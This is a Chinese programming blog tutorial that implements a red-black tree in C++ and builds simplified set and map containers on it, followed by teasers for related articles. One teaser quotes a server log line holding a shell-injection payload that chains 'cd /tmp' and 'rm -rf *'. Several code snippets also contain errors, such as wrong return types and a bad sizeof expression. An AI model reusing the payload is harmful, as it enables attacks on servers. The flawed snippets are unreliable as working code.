C++实现红黑树(RBTree) + 模拟实现map set

news2024/9/22 13:40:09

目录

 一、红黑树(RBTree)

1.1 红黑树概念与性质

1.2 红黑树节点的定义

1.3 红黑树模拟实现

1.3.1 红黑树成员框架

1.3.2 红黑树调整情形

1.3.3 insert() 插入结点

1.3.4 IsBalanceTree() 判断是否为平衡搜索树

二、关联式容器与键值对

2.1 关联式容器概念

2.2 键值对

 三、树形结构的关联式容器

3.1 set 

3.1.1 set的介绍

3.1.2 set的函数使用

3.2 map

3.2.1 map的介绍

3.2.2 map的函数接口介绍与使用

3.3.3 multiset multimap

四、模拟实现set 和 map

4.1 底层红黑树

4.1.1 红黑树类模板参数

4.1.2 红黑树迭代器实现

4.1.3 红黑树完整版

4.2 set的模拟实现 

 4.3 模拟实现map

4.4 测试set和map

4.4.1 set 测试

4.4.2 map测试 


 一、红黑树(RBTree)

1.1 红黑树概念与性质

红黑树,是一种二叉搜索树,但在每个结点上增加一个存储位表示结点的颜色,可以是Red或Black。 通过对任何一条从根到叶子的路径上各个结点着色方式的限制,红黑树确保没有一条路径会比其他路径长出俩倍,因而是接近平衡的。

性质:

1. 每个结点不是红色就是黑色
2. 根节点是黑色的
3. 如果一个节点是红色的,则它的两个孩子结点是黑色的
4. 对于每个结点,从该结点到其所有后代叶结点的简单路径上,均 包含相同数目的黑色结点
5. 每个叶子结点都是黑色的(此处的叶子结点指的是空结点)

如何理解红黑树最长路径长度不会超过最短路径的两倍?

结合性质4,最长路径呈一红一黑的样式向下,而最短路径是全黑向下!比如我们现在每条路径黑色节点树是3,那么最坏的那一条路径是黑 红 黑 红 黑 最短的是黑 黑 黑 前者要遍历5个节点,后者要遍历3个节点,通过数学分析我们也能得到这个结果,这里就不证明了~


1.2 红黑树节点的定义

//红黑树结点颜色
enum colour
{
	RED,
	BLACK
};

template <class ValType>
//结点类
struct TreeNode
{
public:
	TreeNode(const ValType& val)
		:_val(val)
		,_left(nullptr)
		,_right(nullptr)
		,_parent(nullptr)
		,_colour(RED)
	{}
	ValType _val;
	TreeNode<ValType>* _left;
	TreeNode<ValType>* _right;
	TreeNode<ValType>* _parent;
	colour _colour;
};

插入的节点颜色为什么初始为红色?

我们通过红黑树的规则,后面用旋转的方式来解决不满足规则的情况,性质3是红色节点的约束条件,我们插入黑色节点很难判断是否打破规则,而红色节点的连续出现会告诉我们规则被打破了,要调整树!


1.3 红黑树模拟实现

1.3.1 红黑树成员框架

template <class ValType>
class RBTree
{
public:
	typedef TreeNode<ValType> Node;
	RBTree()
		:_root(nullptr)
	{}
	
	void Inorder()
	{
		_Inorder(_root);
	}
	
private:
	void _Inorder(const Node* root)
	{
		if (root == nullptr)
			return;
		_Inorder(root->_left);
		//cout << (root->_val).second << ' ';
		cout <<"[" << (root->_val).first << "," << (root->_val).second <<"]" << endl;
		_Inorder(root->_right);
	}
	Node* _root;
};

1.3.2 红黑树调整情形

约定:cur为当前节点,p为父节点,g为祖父节点,u为叔叔节点

情况一:cur为红,p为红,g为黑,u存在且为红

解决方式:将p,u改为黑,g改为红,然后把g当成cur,继续向上调整。


情况二:cur为红,p为红,g为黑,u不存在/u存在且为黑

解决方式:

p为g的左孩子,cur为p的左孩子,则进行右单旋转;相反,
p为g的右孩子,cur为p的右孩子,则进行左单旋转
p、g变色--p变黑,g变红


情况三:cur为红,p为红,g为黑,u不存在/u存在且为黑

解决方式:

p为g的左孩子,cur为p的右孩子,则针对p做左单旋转;相反,
p为g的右孩子,cur为p的左孩子,则针对p做右单旋转
则转换成了情况2


1.3.3 insert() 插入结点

    void RotateR(Node* parent)
 	{
		Node* SubL = parent->_left;
		Node* SubLR = SubL->_right;
		parent->_left = SubLR;
		if (SubLR) SubLR->_parent = parent;
		Node* gparent = parent->_parent;
		if (parent == _root)
		{
			_root = SubL;
			SubL->_parent = nullptr;
		}
		else {
			if (parent == gparent->_left)
				gparent->_left = SubL;
			else gparent->_right = SubL;
			SubL->_parent = parent->_parent;
		}
		SubL->_right = parent;
		parent->_parent = SubL;
	}
	void RotateL(Node* parent)
	{
		Node* SubR = parent->_right;
		Node* SubRL = SubR->_left;
		parent->_right = SubRL;
		if (SubRL) SubRL->_parent = parent;
		Node* gparent = parent->_parent;
		if (parent == _root)
		{
			_root = SubR;
			SubR->_parent = nullptr;
		}
		else {
			if (parent == gparent->_left)
				gparent->_left = SubR;
			else gparent->_right = SubR;
			SubR->_parent = gparent;
		}
		SubR->_left = parent;
		parent->_parent = SubR;
	}

bool insert(const ValType& val)
	{
		
		if (_root == nullptr)
		{
			_root = new Node(val);
			_root->_colour = BLACK;
			return make_pair(iterator(_root), true);
		}
		Node* cur = _root;
		Node* parent = nullptr;
		//查找插入点
		while (cur)
		{
			if (cur->val < val)
			{
				parent = cur;
				cur = cur->_right;
			}
			else if (cur->_val > val)
			{
				parent = cur;
				cur = cur->_left;
			}
			else return false;
		}
		//链接关系
		cur = new Node(val);
		Node* newnode = cur;
		cur->_parent = parent;
		if (cur->_val > parent->_val)
			parent->_right = cur;
		else parent->_left = cur;
		//插入后判断是否满足红黑树要求
		while (parent && parent->_colour == RED)
		{
			Node* gparent = parent->_parent;
			Node* uncle = nullptr;
			if (parent == gparent->_left)
				uncle = gparent->_right;
			else uncle = gparent->_left;
			//情况一
			if (uncle && uncle->_colour == RED)
			{
				parent->_colour = uncle->_colour = BLACK;
				gparent->_colour = RED;
				cur = gparent;
				parent = cur->_parent;
			}
			//情况二 + 情况三
			else {
				if (uncle == gparent->_right)
				{
					//情况二
					if (cur == parent->_left)
					{
						RotateR(gparent);
						gparent->_colour = RED;
						parent->_colour = BLACK;
					}
					//情况三 
					else {
						RotateL(parent);
						RotateR(gparent);
						gparent->_colour = RED;
						cur->_colour = BLACK;
					}
				}
				else {
					//情况二
					if (cur == parent->_right)
					{
						RotateL(gparent);
						gparent->_colour = RED;
						parent->_colour = BLACK;
					}
					//情况三
					else {
						RotateR(parent);
						RotateL(gparent);
						gparent->_colour = RED;
						cur->_colour = BLACK;
					}
				}
			}
		}
		//插入过程可能改变根的颜色,根必须为黑!!!
		_root->_colour = BLACK;
		return true;

1.3.4 IsBalanceTree() 判断是否为平衡搜索树

bool check(Node* root,int BlackNodeNum,int ref)
	{
		//走到空,判断此时黑节点累计数量是否满足标准
		if (root == nullptr)
		{
			if (BlackNodeNum != ref)
				return false;
			return true;
		}
		//连续出现两次红色结点,不满足规则
		if (root->_colour == RED && root->_parent->_colour == RED)
			return false;
		//每次遇到黑节点 ++黑节点个数
		if (root->_colour == BLACK)
		{
			BlackNodeNum++;
		}
		//递归左右子树
		return check(root->_left, BlackNodeNum, ref) && check(root->_right, BlackNodeNum, ref);
	}
	bool IsBalanceTree()
	{
		if (_root == nullptr)
			return true;
		if (_root->_colour == RED)
		{
			return false;
		}
		Node* left = _root;
		//计算一条路径的黑色结点个数,以它为标准审视每条路径
		int ref = 0;
		int BlackNodeNum = 0;
		while (left)
		{
			if (left->_colour == BLACK)
				++ref;
			left = left->_left;
		}
		return check(_root, BlackNodeNum, ref);
	}

二、关联式容器与键值对

2.1 关联式容器概念

在初阶阶段,我们已经接触过STL中的部分容器,比如:vector、list、deque、
forward_list(C++11)等,这些容器统称为序列式容器,因为其底层为线性序列的数据结构,里面存储的是元素本身。那什么是关联式容器?它与序列式容器有什么区别?
关联式容器也是用来存储数据的,与序列式容器不同的是,其里面存储的是<key, value>结构的键值对在数据检索时比序列式容器效率更高。

2.2 键值对

用来表示具有一一对应关系的一种结构,该结构中一般只包含两个成员变量key和value,key代表键值,value表示与key对应的信息。比如:现在要建立一个英汉互译的字典,那该字典中必然有英文单词与其对应的中文含义,而且,英文单词与其中文含义是一一对应的关系,即通过该应该单词,在词典中就可以找到与其对应的中文含义

pair - C++ Reference (cplusplus.com)

//STL对于键值对的定义

template <class T1, class T2>
struct pair
{
	typedef T1 first_type;
	typedef T2 second_type;
	T1 first;
	T2 second;
	pair() : first(T1()), second(T2())
	{}
	pair(const T1& a, const T2& b) : first(a), second(b)
	{}
};

 三、树形结构的关联式容器

根据应用场景的不桶,STL总共实现了两种不同结构的管理式容器:树型结构与哈希结构。树型结构的关联式容器主要有四种:map、set、multimap、multiset。这四种容器的共同点是:使用平衡搜索树(即红黑树)作为其底层结果,容器中的元素是一个有序的序列。下面一依次介绍每一个容器。

3.1 set 

3.1.1 set的介绍

1. set是按照一定次序存储元素的容器


2. 在set中,元素的value也标识它(value就是key,类型为T),并且每个value必须是唯一的。set中的元素不能在容器中修改(元素总是const),但是可以从容器中插入或删除它们


3. 在内部,set中的元素总是按照其内部比较对象(类型比较)所指示的特定严格弱排序准则进行排序。


4. set容器通过key访问单个元素的速度通常比unordered_set容器慢,但它们允许根据顺序对
子集进行直接迭代。


5. set在底层是用二叉搜索树(红黑树)实现的

注意:

1. 与map/multimap不同,map/multimap中存储的是真正的键值对<key, value>,set中只放value,但在底层实际存放的是由<value, value>构成的键值对。
2. set中插入元素时,只需要插入value即可,不需要构造键值对。
3. set中的元素不可以重复(因此可以使用set进行去重)。
4. 使用set的迭代器遍历set中的元素,可以得到有序序列
5. set中的元素默认按照小于来比较
6. set中查找某个元素,时间复杂度为:log_2 n
7. set中的元素不允许修改
8. set中的底层使用二叉搜索树(红黑树)来实现。

3.1.2 set的函数使用

set函数操作汇总链接:set - C++ Reference (cplusplus.com)

#include <set>
void TestSet()
{
	// 用数组array中的元素构造set
	int array[] = { 1, 3, 5, 7, 9, 2, 4, 6, 8, 0, 1, 3, 5, 7, 9, 2, 4,
	6, 8, 0 };
	set<int> s(array, array + sizeof(array) / sizeof(array));
	cout << s.size() << endl;
	// 正向打印set中的元素,从打印结果中可以看出:set可去重
	for (auto& e : s)
		cout << e << " ";
	cout << endl;
	// 使用迭代器逆向打印set中的元素
	for (auto it = s.rbegin(); it != s.rend(); ++it)
		cout << *it << " ";
	cout << endl;
	// set中值为3的元素出现了几次
	cout << s.count(3) << endl;
}


3.2 map

3.2.1 map的介绍

1. map是关联容器,它按照特定的次序(按照key来比较)存储由键值key和值value组合而成的元素。


2. 在map中,键值key通常用于排序和惟一地标识元素,而值value中存储与此键值key关联的
内容。键值key和值value的类型可能不同,并且在map的内部,key与value通过成员类型
value_type绑定在一起
,为其取别名称为pair:typedef pair<const key, T> value_type;


3. 在内部,map中的元素总是按照键值key进行比较排序的


4. map中通过键值访问单个元素的速度通常比unordered_map容器慢,但map允许根据顺序
对元素进行直接迭代(即对map中的元素进行迭代时,可以得到一个有序的序列)。


5. map支持下标访问符,即在[]中放入key,就可以找到与key对应的value。


6. map通常被实现为二叉搜索树(更准确的说:平衡二叉搜索树(红黑树))。


3.2.2 map的函数接口介绍与使用

map函数操作汇总:map - C++ Reference (cplusplus.com)

注意:在元素访问时,有一个与operator[]类似的操作at()(该函数不常用)函数,都是通过
key找到与key对应的value然后返回其引用,不同的是:当key不存在时,operator[]用默认
value与key构造键值对然后插入,返回该默认value,at()函数直接抛异常!

void TestMap()
{
	map<string, string> m;
	// 向map中插入元素的方式:
	// 将键值对<"peach","桃子">插入map中,用pair直接来构造键值对
	m.insert(pair<string, string>("peach", "桃子"));
	// 将键值对<"peach","桃子">插入map中,用make_pair函数来构造键值对
	m.insert(make_pair("banan", "香蕉"));
	// 借用operator[]向map中插入元素
	/*
	operator[]的原理是:
	用<key, T()>构造一个键值对,然后调用insert()函数将该键值对插入到map中
	如果key已经存在,插入失败,insert函数返回该key所在位置的迭代器
	如果key不存在,插入成功,insert函数返回新插入元素所在位置的迭代器
	operator[]函数最后将insert返回值键值对中的value返回
	*/
	// 将<"apple", "">插入map中,插入成功,返回value的引用,将“苹果”赋值给该引用结果,
	m["apple"] = "苹果";

	// key不存在时抛异常
	//m.at("waterme") = "水蜜桃";
	cout << m.size() << endl;
	// 用迭代器去遍历map中的元素,可以得到一个按照key排序的序列
	for (auto& e : m)
		cout << e.first << "--->" << e.second << endl;
	cout << endl;
	// map中的键值对key一定是唯一的,如果key存在将插入失败
	auto ret = m.insert(make_pair("peach", "桃色"));
	if (ret.second)
		cout << "<peach, 桃色>不在map中, 已经插入" << endl;
	else
		cout << "键值为peach的元素已经存在:" << ret.first->first << "--->"
		<< ret.first->second << " 插入失败" << endl;
	// 删除key为"apple"的元素
	m.erase("apple");
	if (1 == m.count("apple"))
		cout << "apple还在" << endl;
	else
		cout << "apple被吃了" << endl;
}


3.3.3 multiset multimap

multiset:

multiset与set的区别是,multiset中的元素可以重复,set中value是唯一的!
 

multimap:

multimap和map的唯一不同就是:map中的key是唯一的,而multimap中key是可以
重复的。

multimap中没有重载operator[]操作


四、模拟实现set 和 map

4.1 底层红黑树

set与map底层都是红黑树,我们需要进一步给红黑树添加类模板参数和迭代器的实现!

4.1.1 红黑树类模板参数

红黑树模板参数:template <class T,class ValType,class GetVal>

分别代表的是Key值 存储数据类型 插入时搜索树比较的值

当我们使用map的时候,map的存储数据是键值对,我们插入数据需要比较的是Key值(也可以是val),不能比较键值对所以需要提供获取键值对其中一个值的接口!


4.1.2 红黑树迭代器实现

迭代器类成员就是结点的指针!

这里重点提一下如何实现迭代器的++的功能:通过迭代器++,我们可以中序遍历红黑树结点,获得升序数据!以上图举例算法实现::

首先我们迭代器从最左端结点开始,从1结点开始,也就是说begin的时候迭代器返回1结点指针。

++,先判断右边是否为空,如果右不为空,那么继续探索返回右孩子的Min结点,如果右节点左为空,则直接返回右孩子!

如果结点的右孩子为空,判断结点与其父节点的关系,如果其是父节点的右孩子,说明本棵树已经已经访问完全,需要向上寻找祖先,直到其是父节点的左孩子! 这里如何理解呢?我们中序遍历的顺序是 左 中 右,右为空说明左和中已经访问完全!

当我们的6结点左右访问完全,下一个结点是8,6为1的右,我们向上寻找祖先,通过迭代cur 与 parent ,当前cur为6,parent为1,让1变为cur,8变为parent,因为1是8的左,说明中还没访问,所以停止寻找,让指针指向8!

//红黑树迭代器
template <class ValType ,class ref,class ptr>
//                val       引用       指针
struct RBTreeiterator
{
	typedef TreeNode<ValType> Node;
	typedef RBTreeiterator<ValType,ref,ptr> self;
	typedef RBTreeiterator<ValType, ValType&, ValType*> iterator;
	Node* pnode;
	RBTreeiterator(Node* p)
		:pnode(p)
	{}

	//普通迭代器传给const迭代器
	RBTreeiterator(const iterator& it)
		:pnode(it.pnode)
	{}
	ref operator*()
	{
		return pnode->_val;
	}
	ptr operator->()
	{
		return &pnode->_val;
	}
	self& operator++()
	{
		//右不为空,寻找右的最左端,左端为空则返回自己
		if (pnode->_right)
		{
			Node* left = pnode->_right;
			while (left->_left)
			{
				left = left->_left;
			}
			pnode = left;
		}
		//右为空,寻找祖先
		else
		{
			Node* cur = pnode;
			Node* parent = cur->_parent;
			//孩子是父节点的右孩子,迭代cur 和 parent 
			while (parent && cur == parent->_right)
			{
				cur = parent;
				parent = cur->_parent;
			}
			//访问中
			pnode = parent;
		}
		return *this;
	}
	bool operator!=(const self& s)
	{
		return pnode != s.pnode;
	}
	bool operator ==(const self& s)
	{
		return pnode == s.pnode;
	}

红黑树迭代器接口: 

typedef RBTreeiterator<ValType, ValType&, ValType*> iterator;

typedef RBTreeiterator<ValType, const ValType, const ValType*> const_iterator;

iterator begin()
{
	Node* left = _root;
	while (left && left->_left)
	{
		left = left->_left;
	}
	return iterator(left);
}

iterator end()
{
	return iterator(nullptr);
}

//const迭代器
const_iterator begin()const
{
	Node* left = _root;
	while (left && left->_left)
	{
		left = left->_left;
	}
	return const_iterator(left);
}
const_iterator end()const
{
	return const_iterator(nullptr);
}

4.1.3 红黑树完整版

//红黑树结点颜色
enum colour
{
	RED,
	BLACK
};
template <class ValType>
//结点类
struct TreeNode
{
public:
	TreeNode(const ValType& val)
		:_val(val)
		,_left(nullptr)
		,_right(nullptr)
		,_parent(nullptr)
		,_colour(RED)
	{}
	ValType _val;
	TreeNode<ValType>* _left;
	TreeNode<ValType>* _right;
	TreeNode<ValType>* _parent;
	colour _colour;
};
//红黑树迭代器
template <class ValType ,class ref,class ptr>
struct RBTreeiterator
{
	typedef TreeNode<ValType> Node;
	typedef RBTreeiterator<ValType,ref,ptr> self;
	typedef RBTreeiterator<ValType, ValType&, ValType*> iterator;
	Node* pnode;
	RBTreeiterator(Node* p)
		:pnode(p)
	{}
	//普通迭代器传给const迭代器
	RBTreeiterator(const iterator& it)
		:pnode(it.pnode)
	{}
	ref operator*()
	{
		return pnode->_val;
	}
	ptr operator->()
	{
		return &pnode->_val;
	}
	self& operator++()
	{
		//右不为空,寻找右的最左端,左端为空则返回自己
		if (pnode->_right)
		{
			Node* left = pnode->_right;
			while (left->_left)
			{
				left = left->_left;
			}
			pnode = left;
		}
		//右为空,寻找祖先
		else
		{
			Node* cur = pnode;
			Node* parent = cur->_parent;
			//孩子是父节点的右孩子,迭代cur 和 parent 
			while (parent && cur == parent->_right)
			{
				cur = parent;
				parent = cur->_parent;
			}
			//访问中
			pnode = parent;
		}
		return *this;
	}
	bool operator!=(const self& s)
	{
		return pnode != s.pnode;
	}
	bool operator ==(const self& s)
	{
		return pnode == s.pnode;
	}
};
//红黑树
template <class T,class ValType,class GetVal>
class RBTree
{
public:
	typedef TreeNode<ValType> Node;
	typedef RBTreeiterator<ValType, ValType&, ValType*> iterator;
	typedef RBTreeiterator<ValType, const ValType, const ValType*> const_iterator;
	RBTree()
		:_root(nullptr)
	{}
	void RotateR(Node* parent)
	{
		Node* SubL = parent->_left;
		Node* SubLR = SubL->_right;
		parent->_left = SubLR;
		if (SubLR) SubLR->_parent = parent;
		Node* gparent = parent->_parent;
		if (parent == _root)
		{
			_root = SubL;
			SubL->_parent = nullptr;
		}
		else {
			if (parent == gparent->_left)
				gparent->_left = SubL;
			else gparent->_right = SubL;
			SubL->_parent = parent->_parent;
		}
		SubL->_right = parent;
		parent->_parent = SubL;
	}
	void RotateL(Node* parent)
	{
		Node* SubR = parent->_right;
		Node* SubRL = SubR->_left;
		parent->_right = SubRL;
		if (SubRL) SubRL->_parent = parent;
		Node* gparent = parent->_parent;
		if (parent == _root)
		{
			_root = SubR;
			SubR->_parent = nullptr;
		}
		else {
			if (parent == gparent->_left)
				gparent->_left = SubR;
			else gparent->_right = SubR;
			SubR->_parent = gparent;
		}
		SubR->_left = parent;
		parent->_parent = SubR;
	}
	void Inorder()
	{
		_Inorder(_root);
	}
	pair<iterator,bool> insert(const ValType& val)
	{
		GetVal getval;
		if (_root == nullptr)
		{
			_root = new Node(val);
			_root->_colour = BLACK;
			return make_pair(iterator(_root), true);
		}
		Node* cur = _root;
		Node* parent = nullptr;
		//查找插入点
		while (cur)
		{
			if (getval(cur->_val) < getval(val))
			{
				parent = cur;
				cur = cur->_right;
			}
			else if (getval(cur->_val) > getval(val))
			{
				parent = cur;
				cur = cur->_left;
			}
			else return make_pair(iterator(cur), false);
		}
		//链接关系
		cur = new Node(val);
		Node* newnode = cur;
		cur->_parent = parent;
		if (cur->_val > parent->_val)
			parent->_right = cur;
		else parent->_left = cur;
		//插入后判断是否满足红黑树要求
		while (parent && parent->_colour == RED)
		{
			Node* gparent = parent->_parent;
			Node* uncle = nullptr;
			if (parent == gparent->_left)
				uncle = gparent->_right;
			else uncle = gparent->_left;
			//情况一
			if (uncle && uncle->_colour == RED)
			{
				parent->_colour = uncle->_colour = BLACK;
				gparent->_colour = RED;
				cur = gparent;
				parent = cur->_parent;
			}
			//情况二 + 情况三
			else {
				if (uncle == gparent->_right)
				{
					//情况二
					if (cur == parent->_left)
					{
						RotateR(gparent);
						gparent->_colour = RED;
						parent->_colour = BLACK;
					}
					//情况三 
					else {
						RotateL(parent);
						RotateR(gparent);
						gparent->_colour = RED;
						cur->_colour = BLACK;
					}
				}
				else {
					//情况二
					if (cur == parent->_right)
					{
						RotateL(gparent);
						gparent->_colour = RED;
						parent->_colour = BLACK;
					}
					//情况三
					else {
						RotateR(parent);
						RotateL(gparent);
						gparent->_colour = RED;
						cur->_colour = BLACK;
					}
				}
			}
		}
		//插入过程可能改变根的颜色,根必须为黑!!!
		_root->_colour = BLACK;
		return make_pair(iterator(newnode), true);
	}
	bool check(Node* root,int BlackNodeNum,int ref)
	{
		//走到空,判断此时黑节点累计数量是否满足标准
		if (root == nullptr)
		{
			if (BlackNodeNum != ref)
				return false;
			return true;
		}
		//连续出现两次红色结点,不满足规则
		if (root->_colour == RED && root->_parent->_colour == RED)
			return false;
		//每次遇到黑节点 ++黑节点个数
		if (root->_colour == BLACK)
		{
			BlackNodeNum++;
		}
		//递归左右子树
		return check(root->_left, BlackNodeNum, ref) && check(root->_right, BlackNodeNum, ref);
	}
	bool IsBalanceTree()
	{
		if (_root == nullptr)
			return true;
		if (_root->_colour == RED)
		{
			return false;
		}
		Node* left = _root;
		//计算一条路径的黑色结点个数,以它为标准审视每条路径
		int ref = 0;
		int BlackNodeNum = 0;
		while (left)
		{
			if (left->_colour == BLACK)
				++ref;
			left = left->_left;
		}
		return check(_root, BlackNodeNum, ref);
	}
	iterator begin()
	{
		Node* left = _root;
		while (left && left->_left)
		{
			left = left->_left;
		}
		return iterator(left);
	}
	iterator end()
	{
		return iterator(nullptr);
	}
	//const迭代器
	const_iterator begin()const
	{
		Node* left = _root;
		while (left && left->_left)
		{
			left = left->_left;
		}
		return const_iterator(left);
	}
	const_iterator end()const
	{
		return const_iterator(nullptr);
	}
private:
	void _Inorder(const Node* root)
	{
		if (root == nullptr)
			return;
		_Inorder(root->_left);
		//cout << (root->_val).second << ' ';
		cout <<"[" << (root->_val).first << "," << (root->_val).second <<"]" << endl;
		_Inorder(root->_right);
	}
	Node* _root;
};

4.2 set的模拟实现 

上面提到set的数据具有唯一性,所以set的迭代器也是const 迭代器,我们不能通过* 来修改set的数据! 

set的接口都是调用红黑树的接口,迭代器是红黑树的迭代器!

namespace wyz
{
	template <class K>
	class set
	{
	public:
		struct setGetVal
		{
			const K& operator()(const K& k)
			{
				return k;
			}
		};
		typedef RBTree<K, K, setGetVal> RBTree;
		typedef typename RBTree::const_iterator iterator;
		typedef typename RBTree::const_iterator const_iterator;

		pair<iterator, bool> insert(const K& k)
		{
			//注意ret类型中的迭代器是普通迭代器 
			pair<typename RBTree::iterator, bool> ret = _t.insert(k);
			//我们这里需要用到普通迭代器拷贝构造const迭代器!!!
			return make_pair(iterator(ret.first), ret.second);
		}
		void Inorder()
		{
			_t.Inorder();
		}
		bool IsBalanceTree()
		{
			return _t.IsBalanceTree();
		}
		iterator begin()const
		{
			return _t.begin();
		}
		iterator end()const
		{
			return _t.end();
		}
	private:
		RBTree _t; //底层是红黑树
	};
}

 4.3 模拟实现map

map特别之处在于它的 [] 重载 我们可以通过 对象.[key] 访问val! 

namespace wyz
{
	template <class K, class V>
	class map
	{
	public:
		//我们通过key值比较,决定插入的位置
		struct mapGetVal
		{
			const K& operator()(const pair<K, V>& kv)
			{
				return kv.first;
			}
		};
		typedef RBTree<K, pair<K, V>, mapGetVal> RBTree;
		typedef typename RBTree::iterator iterator;
		typedef typename RBTree::const_iterator const_iterator;
		pair<iterator, bool> insert(const pair<K, V>& kv)
		{
			return _t.insert(kv);
		}
		V& operator[](const K& key)
		{
			//这里绝妙就在构造匿名对象,如果没有对应的val,则插入V的匿名对象
			pair<iterator, bool> ret=insert(make_pair(key, V()));
			//返回val
			return ret.first->second;
		}
		//中序遍历
		void Inorder()
		{
			_t.Inorder();
		}
		//判断是否为红黑树
		bool IsBalanceTree()
		{
			return _t.IsBalanceTree();
		}
		iterator begin()
		{
			return _t.begin();
		}
		iterator end()
		{
			return _t.end();
		}
		const_iterator begin()const
		{
			return _t.begin();
		}
		const_iterator end()const
		{
			return _t.end();
		}
	private:
		RBTree _t;
	};
}

4.4 测试set和map

4.4.1 set 测试

void Test_set()
{
	int arr[] = { 16, 3, 7, 11, 9, 26, 18, 14, 15 };
	wyz::set<int> t;
	for (auto e : arr)
	{
		t.insert(e);
	}
	wyz::set<int>::iterator it = t.begin();
	while (it != t.end())
	{
		//(*it) += 10;
		cout << *it << endl;
		++it;
	}
}

不允许解引用修改val ! 



4.4.2 map测试 

void Test_map2()
{
	string arr[] = { "苹果", "西瓜", "香蕉", "草莓", "苹果", "西瓜", "苹果", "苹果", "西瓜", "苹果", "香蕉", "苹果", "香蕉" };
	wyz::map<string, int> countMap;
	for (auto e : arr)
	{
		countMap[e]++;
	}
	wyz::map<string, int>::const_iterator it = countMap.begin();
	while (it != countMap.end())
	{
		cout <<it->first<<":"<< it->second << endl;
		++it;
	}
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/401185.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

python趣味编程-盒子追逐者游戏

在上一期我们用Python实现了一个奥赛罗游戏的游戏&#xff0c;这一期我们继续使用Python实现一个简单的盒子追逐追逐者游戏&#xff0c;让我们开始今天的旅程吧~ 在Python自由源代码中使用Turtle的盒子追逐者游戏 在Python中使用Turtle的盒子追逐者游戏 是一个以 python 程序设…

数据库索引原理

数据库索引的作用是做数据的快速检索&#xff0c;而快速检索实现的本质是数据结构。像二叉树、红黑树、AVL树、B树、B树、哈希等数据结构都可以实现索引&#xff0c;但其中B树效率最高。MySQL数据库索引使用的是B树。二叉树&#xff1a;二叉树中&#xff0c;左子树比根节点小&a…

C++回顾(十六)—— 异常处理机制

16.1 异常的基本语法 1&#xff09; 若有异常则通过throw操作创建一个异常对象并抛掷。2&#xff09; 将可能抛出异常的程序段嵌在try块之中。控制通过正常的顺序执行到达try语句&#xff0c;然后执行try块内的保护段。3&#xff09; 如果在保护段执行期间没有引起异常&#xf…

dark.x86病毒新变种

病毒行为类似https://www.cnblogs.com/wangbingbing/p/15319257.html依然是来自俄罗斯莫斯科的病毒。旧病毒换了个伪装程序查服务器nginx日志发现一个异常请求170.254.229.130 - - [09/Mar/2023:07:19:08 0800] "GET /bin/zhttpd/${IFS}cd${IFS}/tmp;rm${IFS}-rf${IFS}*;$…

4个顶级的华为/小米/OPPO/Vivo手机屏幕解锁工具软件

有好几次用户发现自己被锁定在他们的华为/小米/OPPO/Vivo设备之外&#xff0c;我们知道这可能是一种非常可怕的体验。在这种情况下&#xff0c;找到安卓手机解锁软件&#xff0c;重新获得手机中重要数据和文件的访问权限。看看这篇文章&#xff0c;因为我们将与您分享什么是解锁…

DML 添加、修改、删除数据

目录 DML 一、添加数据 1、给指定字段添加数据 2、给全部字段添加数据 3、批量添加数据 二、修改数据 三、删除数据 DML DML英文全称是Data Manipulation Language(数据操作语言)&#xff0c;用来对数据库中表的数据记录进行增、删、改操作。 一、添加数据 1、给指定字…

中国人民大学与加拿大女王大学金融硕士——沉淀自己是最好的升华

三毛曾说过&#xff1a;“给自己时间&#xff0c;不要焦虑&#xff0c;一步一步来&#xff0c;一日一日过&#xff0c;请相信生命的韧性是惊人的&#xff0c;跟自己的心去合作&#xff0c;不要放弃对自己的爱护”。当你的能力还驾驭不了你的目标时&#xff0c;你就应该沉下心来…

如何配置用于构建 FastReport Online Designer 的 API ?

FastReport Online Designer 是一个跨平台的报表设计器&#xff0c;允许通过任何平台的移动设备创建和编辑报表。今天我们就一起来看看在2023版中新增和改进的功能有哪些&#xff0c;点击下方可以获取最新版免费试用哦&#xff01; FastReport Onlin Designe最新版试用https:/…

市场营销的核心是什么?

之所以写下「市场营销的核心是什么&#xff1f;」这篇文章&#xff0c;是因为这几天刚读完了《经理人参阅&#xff1a;市场营销》这本书。作为一个有着近十年工作经验的市场营销从业人员&#xff0c;看完这本书也产生了很多新的想法&#xff0c;也想记录一下&#xff0c;遂成此…

Idea+maven+spring-cloud项目搭建系列--11-2 dubbo鉴权日志记录数据统一封装

前言&#xff1a;使用dubbo做为通信组件&#xff0c;如果接口需要鉴权&#xff0c;和日志记录需要怎样处理&#xff1b; 1 鉴权&#xff1a; 1.1 在bootstrap.yml 中定义过滤器&#xff1a; dubbo.provider.filter: 过滤器的名字&#xff1a; 1.2 resources 目录下创建配置文…

随笔:车辆游戏功能开发-思路

目录1 博客内容2 PS4pro3 功能开发1 博客内容 年初朋友聊天谈到车辆增加G&#xff08;Game&#xff09;挡位&#xff0c;适配泛娱乐化功能。均非该领域人员&#xff0c;上月他也离开去无锡&#xff0c;同时该功能涉及悬架、座椅、HUT、音响、转向、线控底盘等多专业人员&#x…

深信服校园招聘安全攻防F卷

1.请尽可能列举你知道的网站未能正确使用图片验证码机制的情况&#xff0c;以及如何绕过其限制&#xff1f; - 图形验证码的内容可OCR识别 - 多阶段的过程&#xff0c;先校验验证码&#xff0c;成功之后的下一步不需要验证码&#xff0c;可以直接抓包&#xff0c;跳过第一步的验…

小诺开源技术

小诺开源技术 文章目录小诺开源技术前言页面演示介绍文档学习建议登录地址下载地址前言 近期接触了小诺开源技术的一个前端框架&#xff0c;底层是蚂蚁框架&#xff0c;感觉很好用&#xff0c;不过需要稍微学习并适应一下&#xff0c;推荐给大家&#xff0c;本篇仅用于学习&am…

人员摔倒识别预警算法 opencv

人员摔倒识别预警算法通过opencv网络模型技术&#xff0c;人员摔倒识别预警算法能够智能检测现场画面中人员有没有摔倒&#xff0c;无需人为干预可以立刻抓拍告警。OpenCV的全称是Open Source Computer Vision Library&#xff0c;是一个跨平台的计算机视觉处理开源软件库&…

C#:Krypton控件使用方法详解(第十四讲) ——kryptonSeparator

今天介绍的Krypton控件中的kryptonSeparator。下面介绍控件的外观属性如下图所示&#xff1a;Cursor属性&#xff1a;表示鼠标移动过该控件的时候&#xff0c;鼠标显示的形状。属性值如下图所示&#xff1a;DrawMoveIndicator属性&#xff1a;表示确定移动分隔符时是否绘制移动…

要不做一名 Prompt Engineer

